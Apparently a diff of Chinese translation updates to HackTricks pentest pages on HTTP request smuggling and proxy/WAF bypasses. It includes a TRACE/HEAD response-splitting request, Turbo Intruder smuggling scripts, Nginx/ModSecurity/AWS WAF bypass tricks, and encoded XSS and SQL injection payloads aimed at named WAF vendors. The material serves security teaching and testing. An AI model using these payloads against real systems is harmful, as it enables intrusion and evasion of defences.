X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
一个滥用这种行为的例子是**首先伪装一个HEAD请求**。该请求将仅以GET请求的**头部**进行响应(**`Content-Type`**在其中)。然后立即伪装**一个TRACE请求**,该请求将**反射发送的数据**。\
|
||||
由于HEAD响应将包含一个`Content-Length`头,因此**TRACE请求的响应将被视为HEAD响应的主体,从而在响应中反射任意数据**。\
|
||||
该响应将被发送到连接上的下一个请求,因此这可以**用于缓存的JS文件中,例如注入任意JS代码**。
|
||||
一个滥用该行为的示例是**先 smuggle 一个 HEAD 请求**。该请求将只以 GET 请求的**headers**来响应(其中包括 **`Content-Type`**)。并在 HEAD 之后**立即 smuggle 一个 TRACE 请求**,该请求会**反射所发送的数据**。
|
||||
由于 HEAD 响应会包含 `Content-Length` 头,**TRACE 请求的响应将被视为 HEAD 响应的主体,因此在响应中反映任意数据**。
|
||||
该响应将被发送给连接上的下一个请求,因此这可以**用于例如在缓存的 JS 文件中注入任意 JS 代码**。
|
||||
|
||||
### 通过HTTP响应拆分滥用TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### 滥用 TRACE 通过 HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
继续关注[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议另一种滥用TRACE方法的方式。如评论所述,伪装一个HEAD请求和一个TRACE请求可以**控制HEAD请求响应中的一些反射数据**。HEAD请求主体的长度基本上在Content-Length头中指示,并由TRACE请求的响应形成。
|
||||
建议继续参考 [**this post**](https://portswigger.net/research/trace-desync-attack),其中提出了另一种滥用 TRACE 方法的方式。如文中所述,通过 smuggling 一个 HEAD 请求和一个 TRACE 请求,可在 HEAD 响应中**控制部分被反射的数据**。HEAD 请求主体的长度基本由 `Content-Length` 头指示,并且由 TRACE 请求的响应构成。
|
||||
|
||||
因此,新的想法是,知道这个Content-Length和TRACE响应中给出的数据,可以使TRACE响应在Content-Length的最后一个字节之后包含一个有效的HTTP响应,从而允许攻击者完全控制下一个响应的请求(这可以用于执行缓存中毒)。
|
||||
因此,新思路是:在已知该 `Content-Length` 和 TRACE 响应中包含的数据的情况下,可以使 TRACE 响应在 Content-Length 指定的最后一个字节之后包含一个有效的 HTTP 响应,从而允许攻击者完全控制发送给下一个响应的请求(这可以用于执行 cache poisoning)。
|
||||
|
||||
示例:
|
||||
```
|
||||
@ -672,7 +674,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
将生成这些响应(注意HEAD响应具有Content-Length,使得TRACE响应成为HEAD主体的一部分,一旦HEAD Content-Length结束,就会被走私一个有效的HTTP响应):
|
||||
将生成以下响应(注意 HEAD response 含有 Content-Length,使 TRACE response 成为 HEAD body 的一部分;一旦 HEAD 的 Content-Length 结束,一个有效的 HTTP response 就被 smuggled):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -693,23 +695,26 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### 利用 HTTP 响应不同步进行 HTTP 请求走私
|
||||
### 用 HTTP Response Desynchronisation 将 HTTP Request Smuggling 武器化
|
||||
|
||||
如果你发现了某个 HTTP Request Smuggling 漏洞但不知道如何利用,试试下面这些其他利用方法:
|
||||
|
||||
您是否发现了一些 HTTP 请求走私漏洞,但不知道如何利用它?尝试这些其他的利用方法:
|
||||
|
||||
{{#ref}}
|
||||
../http-response-smuggling-desync.md
|
||||
{{#endref}}
|
||||
|
||||
### 其他 HTTP 请求走私技术
|
||||
### 其他 HTTP Request Smuggling 技术
|
||||
|
||||
- Browser HTTP Request Smuggling (Client Side)
|
||||
|
||||
- 浏览器 HTTP 请求走私(客户端)
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
- HTTP/2 降级中的请求走私
|
||||
- Request Smuggling in HTTP/2 Downgrades
|
||||
|
||||
|
||||
{{#ref}}
|
||||
request-smuggling-in-http-2-downgrades.md
|
||||
@ -760,7 +765,7 @@ table.add(req)
|
||||
```
|
||||
### TE.CL
|
||||
|
||||
来自: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
来源: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -804,16 +809,16 @@ table.add(req)
|
||||
```
|
||||
## 工具
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) – 可视化连接/框架和低级 HTTP 行为
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater 自定义操作 "Smuggling or pipelining?"
|
||||
- HTTP Hacker (Burp BApp Store) – 可视化 concatenation/framing 和 低级别 HTTP 行为
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
|
||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是基于语法的 HTTP Fuzzer,有助于发现奇怪的请求走私差异。
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 该工具是基于语法的 HTTP Fuzzer,可用于发现奇怪的 request smuggling 差异。
|
||||
|
||||
## 参考
|
||||
## 参考资料
|
||||
|
||||
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
||||
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
||||
@ -824,10 +829,10 @@ table.add(req)
|
||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- 注意虚假阳性:如何区分 HTTP 管道化和请求走私 – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- 注意 false false‑positive:如何区分 HTTP pipelining 与 request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- 浏览器驱动的脱同步攻击 – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – 客户端脱同步 – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,11 @@
|
||||
# Proxy / WAF Protections Bypass
|
||||
# 代理 / WAF 防护绕过
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## 通过路径名操作绕过 Nginx ACL 规则 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
## 通过路径名操控绕过 Nginx ACL 规则 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
技术 [来自此研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
技巧 [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
Nginx 规则示例:
|
||||
```plaintext
|
||||
@ -17,41 +17,41 @@ location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
为了防止绕过,Nginx 在检查路径之前会执行路径规范化。然而,如果后端服务器执行不同的规范化(移除 Nginx 不移除的字符),则可能会绕过此防御。
|
||||
为了防止绕过,Nginx 在检查之前会对路径进行规范化。然而,如果后端服务器执行不同的规范化(移除 nginx 不会移除的字符),则可能绕过此防护。
|
||||
|
||||
### **NodeJS - Express**
|
||||
|
||||
| Nginx 版本 | **Node.js 绕过字符** |
|
||||
| ----------- | --------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
| ------------- | ----------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### **Flask**
|
||||
|
||||
| Nginx 版本 | **Flask 绕过字符** |
|
||||
| ----------- | ------------------------------------------------------ |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| Nginx 版本 | **Flask 绕过字符** |
|
||||
| ------------- | -------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
|
||||
### **Spring Boot**
|
||||
|
||||
| Nginx 版本 | **Spring Boot 绕过字符** |
|
||||
| ----------- | ------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
| ------------- | --------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
|
||||
### **PHP-FPM**
|
||||
|
||||
Nginx FPM 配置:
|
||||
Nginx FPM 配置:
|
||||
```plaintext
|
||||
location = /admin.php {
|
||||
deny all;
|
||||
@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Nginx 被配置为阻止对 `/admin.php` 的访问,但可以通过访问 `/admin.php/index.php` 来绕过此限制。
|
||||
Nginx 被配置为阻止访问 `/admin.php`,但可以通过访问 `/admin.php/index.php` 来绕过此限制。
|
||||
|
||||
### 如何防止
|
||||
```plaintext
|
||||
@ -74,20 +74,20 @@ deny all;
|
||||
|
||||
### 路径混淆
|
||||
|
||||
[**在这篇文章中**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) 解释了 ModSecurity v3(直到 3.0.12)**错误地实现了 `REQUEST_FILENAME`** 变量,该变量本应包含访问的路径(直到参数开始)。这是因为它执行了 URL 解码以获取路径。\
|
||||
因此,像 `http://example.com/foo%3f';alert(1);foo=` 这样的请求在 mod security 中将认为路径仅为 `/foo`,因为 `%3f` 被转换为 `?`,结束了 URL 路径,但实际上服务器接收到的路径将是 `/foo%3f';alert(1);foo=`。
|
||||
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) 解释到 ModSecurity v3 (直到 3.0.12) **不正确地实现了 `REQUEST_FILENAME`** 变量,该变量本应包含被访问的路径(直到参数开始)。这是因为它对 URL 执行了解码以获取路径。\
|
||||
因此,像 `http://example.com/foo%3f';alert(1);foo=` 这样的请求在 mod security 中会认为路径只是 `/foo`,因为 `%3f` 被转换为 `?` 导致 URL 路径结束,但实际上服务器收到的路径会是 `/foo%3f';alert(1);foo=`。
|
||||
|
||||
变量 `REQUEST_BASENAME` 和 `PATH_INFO` 也受到此错误的影响。
|
||||
变量 `REQUEST_BASENAME` 和 `PATH_INFO` 也受到此 bug 的影响。
|
||||
|
||||
在 Mod Security 的版本 2 中发生了类似的情况,允许绕过一种保护,该保护阻止用户访问与备份文件相关的特定扩展名的文件(例如 `.bak`),只需通过发送点 URL 编码为 `%2e`,例如:`https://example.com/backup%2ebak`。
|
||||
在 Mod Security 的第 2 版中发生了类似情况,允许通过将点用 `%2e` URL 编码发送来绕过阻止用户访问具有特定备份相关扩展名(例如 `.bak`)的文件的保护,例如:`https://example.com/backup%2ebak`。
|
||||
|
||||
## 绕过 AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### 格式错误的头部
|
||||
### 畸形 Header
|
||||
|
||||
[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 提到可以通过发送一个未被 AWS 正确解析但被后端服务器解析的“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则。
|
||||
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 提到,可以通过发送一个 AWS 无法正确解析但后端服务器可以解析的“malformed” header 来绕过应用于 HTTP headers 的 AWS WAF 规则。
|
||||
|
||||
例如,发送以下请求,在头部 X-Query 中包含 SQL 注入:
|
||||
例如,发送下面这个在 header X-Query 中包含 SQL 注入 的请求:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
@ -96,49 +96,50 @@ X-Query: Value\r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
可以绕过AWS WAF,因为它无法理解下一行是头部值的一部分,而NODEJS服务器可以(这个问题已被修复)。
|
||||
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
|
||||
|
||||
## 通用WAF绕过
|
||||
## Generic WAF bypasses
|
||||
|
||||
### 请求大小限制
|
||||
### Request Size Limits
|
||||
|
||||
通常,WAF对请求的长度有一定的限制,如果POST/PUT/PATCH请求超过该限制,WAF将不会检查该请求。
|
||||
Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.
|
||||
|
||||
- 对于AWS WAF,您可以[**查看文档**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>可以检查的应用负载均衡器和AWS AppSync保护的最大Web请求体大小</td><td>8 KB</td></tr><tr><td>可以检查的CloudFront、API Gateway、Amazon Cognito、App Runner和Verified Access保护的最大Web请求体大小**</td><td>64 KB</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
|
||||
|
||||
- 来自[**Azure文档**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
较旧的Web应用防火墙使用核心规则集3.1(或更低版本)允许大于**128 KB**的消息,通过关闭请求体检查,但这些消息不会被检查漏洞。对于较新版本(核心规则集3.2或更新),可以通过禁用最大请求体限制来实现。当请求超过大小限制时:
|
||||
旧版 Web Application Firewalls(Core Rule Set 3.1 或更低)通过关闭请求体检查允许超过 **128 KB** 的消息,但这些消息不会被检查是否存在漏洞。对于更新的版本(Core Rule Set 3.2 或更高),可以通过禁用最大请求体限制达到相同效果。当请求超过大小限制时:
|
||||
|
||||
如果是**预防模式**:记录并阻止请求。\
|
||||
如果是**检测模式**:检查到限制,忽略其余部分,并记录如果`Content-Length`超过限制。
|
||||
If p**revention mode**: 记录并阻止该请求。\
|
||||
If **detection mode**: 检查到限制为止,忽略其余部分,并在 `Content-Length` 超过限制时记录。
|
||||
|
||||
- 来自[**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||||
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||||
|
||||
默认情况下,WAF仅检查请求的前8KB。通过添加高级元数据,可以将限制提高到128KB。
|
||||
默认情况下,WAF 只检查请求的前 8KB。通过添加 Advanced Metadata 可以将限制提高到 128KB。
|
||||
|
||||
- 来自[**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||||
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||||
|
||||
最多128KB。
|
||||
最高 128KB。
|
||||
|
||||
### 静态资产检查漏洞 (.js GETs)
|
||||
### Static assets inspection gaps (.js GETs)
|
||||
|
||||
一些CDN/WAF堆栈对静态资产的GET请求(例如以`.js`结尾的路径)应用弱或不进行内容检查,同时仍然应用全局规则,如速率限制和IP声誉。结合静态扩展的自动缓存,这可能被滥用以传递或播种影响后续HTML响应的恶意变体。
|
||||
Some CDN/WAF stacks apply weak or no content inspection to GET requests for static assets (for example paths ending with `.js`), while still applying global rules like rate limiting and IP reputation. Combined with auto-caching of static extensions, this can be abused to deliver or seed malicious variants that affect subsequent HTML responses.
|
||||
|
||||
实际用例:
|
||||
Practical use cases:
|
||||
|
||||
- 在GET请求到`.js`路径时,在不受信任的头部(例如`User-Agent`)中发送有效负载,以避免内容检查,然后立即请求主HTML以影响缓存变体。
|
||||
- 使用新鲜/干净的IP;一旦IP被标记,路由更改可能会使该技术不可靠。
|
||||
- 在Burp Repeater中,使用“并行发送组”(单包样式)来加速两个请求(`.js`然后是HTML)通过相同的前端路径。
|
||||
- 在对以 `.js` 结尾的路径发起 GET 请求时,将 payload 放入不受信任的 header(例如 `User-Agent`)以规避内容检测,然后立即请求主 HTML 来影响缓存的变体。
|
||||
- 使用全新的/干净的 IP;一旦 IP 被标记,路由变化可能使该技术不可靠。
|
||||
- 在 Burp Repeater 中,使用 "Send group in parallel"(single-packet style)来竞速发送两次请求(先 `.js`,再 HTML),使其经过相同的前端路径。
|
||||
|
||||
这与头部反射缓存中毒很好地配对。见:
|
||||
This pairs well with header-reflection cache poisoning. See:
|
||||
|
||||
- {{#ref}}
|
||||
{{#ref}}
|
||||
cache-deception/README.md
|
||||
{{#endref}}
|
||||
- [我如何在一个公共BBP中发现0点击账户接管并利用它访问管理员级功能](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
### 混淆 <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
```bash
|
||||
@ -150,7 +151,7 @@ cache-deception/README.md
|
||||
```
|
||||
### Unicode 兼容性 <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
|
||||
根据 Unicode 规范化的实现(更多信息 [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)),共享 Unicode 兼容性的字符可能能够绕过 WAF 并作为预期的有效负载执行。兼容字符可以在 [here](https://www.compart.com/en/unicode) 找到。
|
||||
这取决于 Unicode 归一化的实现(更多信息见 [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)),某些共享 Unicode 兼容性的字符可能能够绕过 WAF 并按预期执行有效载荷。兼容字符可在 [here](https://www.compart.com/en/unicode) 找到。
|
||||
|
||||
#### 示例 <a href="#example" id="example"></a>
|
||||
```bash
|
||||
@ -158,44 +159,45 @@ cache-deception/README.md
|
||||
# to the XSS payload on the right
|
||||
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
|
||||
```
|
||||
### 绕过上下文 WAF 的编码 <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### 使用编码绕过具有上下文的 WAF <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
正如在 [**这篇博客文章**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) 中提到的,为了绕过能够维护用户输入上下文的 WAF,我们可以利用 WAF 技术来实际规范化用户输入。
|
||||
正如 [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) 中提到的,为了绕过能够维护用户输入上下文的 WAF,我们可以滥用 WAF 的处理方式来对用户输入进行规范化。
|
||||
|
||||
例如,在文章中提到 **Akamai 对用户输入进行了 10 次 URL 解码**。因此像 `<input/%2525252525252525253e/onfocus` 这样的内容将被 Akamai 视为 `<input/>/onfocus`,这 **可能认为是可以的,因为标签已关闭**。然而,只要应用程序没有对输入进行 10 次 URL 解码,受害者将看到类似 `<input/%25252525252525253e/onfocus` 的内容,这 **仍然有效用于 XSS 攻击**。
|
||||
例如,文章中提到 **Akamai 对用户输入进行了 10 次 URL 解码**。因此像 `<input/%2525252525252525253e/onfocus` 这样的输入会被 Akamai 视为 `<input/>/onfocus`,这可能会被认为标签已闭合。然而,只要应用程序不会对输入进行 10 次 URL 解码,受害者会看到类似 `<input/%25252525252525253e/onfocus` 的内容,这对于 XSS 攻击仍然有效。
|
||||
|
||||
因此,这允许在 WAF 将解码和解释的编码组件中 **隐藏有效负载**,而受害者则看不到。
|
||||
因此,这允许将有效载荷隐藏在编码的组件中,WAF 会对其解码并解释,而受害者不会看到解码后的内容。
|
||||
|
||||
此外,这不仅可以用于 URL 编码的有效负载,还可以用于其他编码,如 unicode、hex、octal...
|
||||
此外,这不仅可以用于 URL 编码的载荷,也可以用于其他编码,例如 unicode、hex、octal 等等。
|
||||
|
||||
在文章中建议了以下最终绕过:
|
||||
在文章中建议的最终绕过示例包括:
|
||||
|
||||
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
|
||||
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
|
||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||
|
||||
还提到,根据 **某些 WAF 如何理解用户输入的上下文**,可能会存在滥用的可能。博客中提出的例子是 Akamai 允许在 `/*` 和 `*/` 之间放置任何内容(可能是因为这通常用作注释)。因此,像 `/*'or sleep(5)-- -*/` 这样的 SQL 注入将不会被捕获,并且是有效的,因为 `/*` 是注入的起始字符串,而 `*/` 是注释。
|
||||
文章中还提到,取决于某些 WAF 如何理解用户输入的上下文,可能存在滥用的空间。文章给出的示例是 Akamai 允许在 `/*` 和 `*/` 之间放置任意内容(可能因为这通常被用作注释)。因此,像 `/*'or sleep(5)-- -*/` 这样的 SQLinjection 可能不会被拦截,并且会被视为有效,因为 `/*` 是注入的起始字符串,而 `*/` 被当作注释。
|
||||
|
||||
这些上下文问题也可以用来 **滥用其他比 WAF 预期的漏洞**(例如,这也可以用来利用 XSS)。
|
||||
这类上下文问题也可以被用来滥用与 WAF 预期防护不同的其他漏洞(例如,这也可以用于利用 XSS)。
|
||||
|
||||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
### H2C 走私 <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
### IP 轮换 <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): 生成一个 API 网关 URL 以供 ffuf 使用
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): 类似于 fireprox
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): 使用 API 网关 IP 的 Burp Suite 插件
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 根据输入文件大小和拆分因子动态确定激活的容器实例数量,输入被拆分为块以进行并行执行,例如 100 个实例处理来自 10,000 行输入文件的 100 个块,拆分因子为 100 行。
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): 生成一个可与 ffuf 一起使用的 API gateway URL
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): 与 fireprox 类似
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): 一个使用 API gateway IPs 的 Burp Suite 插件
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 根据输入文件大小和分割因子动态确定要激活的容器实例数量,并将输入拆分成块以并行执行,例如对一个 10,000 行的输入文件使用分割因子 100 行,启动 100 个实例并行处理 100 个块。
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
|
||||
### 正则表达式绕过
|
||||
### Regex Bypasses
|
||||
|
||||
可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效负载。各种绕过的资源可以在 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 和 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 中找到。以下示例来自 [这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
|
||||
可以使用不同的技术来绕过防火墙上的正则过滤器。示例包括交替大小写、添加换行以及对载荷进行编码。各种绕过方法的资源可以在 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 和 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 找到。下面的示例摘自 [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
@ -218,15 +220,15 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
```
|
||||
## 工具
|
||||
|
||||
